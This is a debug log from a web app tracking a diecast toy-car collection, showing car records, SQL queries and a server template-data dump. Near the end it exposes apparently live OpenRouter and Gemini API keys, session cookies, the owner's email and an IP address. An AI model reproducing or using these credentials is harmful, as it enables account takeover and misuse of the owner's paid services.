      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:30:59.806Z server-connect:app Executing action step identify
2026-02-12T13:30:59.806Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.806Z server-connect:output identity: 1
2026-02-12T13:30:59.806Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.806Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:30:59.807Z server-connect:output restrict: undefined
2026-02-12T13:30:59.807Z server-connect:app Executing action step select
2026-02-12T13:30:59.807Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:30:59.809Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:30:59.809Z server-connect:app Executing action step select
2026-02-12T13:30:59.810Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:30:59.810Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:30:59.810Z server-connect:app Executing action step select
2026-02-12T13:30:59.810Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:30:59.811Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:31:02.277Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:31:02.283Z server-connect:app Executing action step identify
2026-02-12T13:31:02.283Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.284Z server-connect:output identity: 1
2026-02-12T13:31:02.284Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.284Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:31:02.286Z server-connect:output restrict: undefined
2026-02-12T13:31:02.286Z server-connect:router Render template layouts/main
2026-02-12T13:31:02.286Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:31:02.900Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:31:02.900Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:31:02.900Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:02.901Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:02.901Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:31:02.901Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:02.902Z server-connect:app Executing action step identify
2026-02-12T13:31:02.902Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.902Z server-connect:output identity: 1
2026-02-12T13:31:02.902Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.902Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:02.902Z server-connect:app Executing action step identify
2026-02-12T13:31:02.902Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.903Z server-connect:output identity: 1
2026-02-12T13:31:02.903Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.903Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:02.903Z server-connect:app Executing action step identify
2026-02-12T13:31:02.903Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.903Z server-connect:output identity: 1
2026-02-12T13:31:02.903Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.903Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:02.904Z server-connect:app Executing action step identify
2026-02-12T13:31:02.904Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.904Z server-connect:output identity: 1
2026-02-12T13:31:02.904Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.904Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:02.904Z server-connect:app Executing action step identify
2026-02-12T13:31:02.904Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.904Z server-connect:output identity: 1
2026-02-12T13:31:02.905Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.905Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:02.905Z server-connect:output restrict: undefined
2026-02-12T13:31:02.905Z server-connect:app Executing action step single
2026-02-12T13:31:02.905Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:31:02.906Z server-connect:output restrict: undefined
2026-02-12T13:31:02.906Z server-connect:app Executing action step select
2026-02-12T13:31:02.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:31:02.907Z server-connect:output restrict: undefined
2026-02-12T13:31:02.907Z server-connect:app Executing action step select
2026-02-12T13:31:02.907Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:02.907Z server-connect:output restrict: undefined
2026-02-12T13:31:02.908Z server-connect:app Executing action step select
2026-02-12T13:31:02.908Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:02.908Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:31:02.912Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
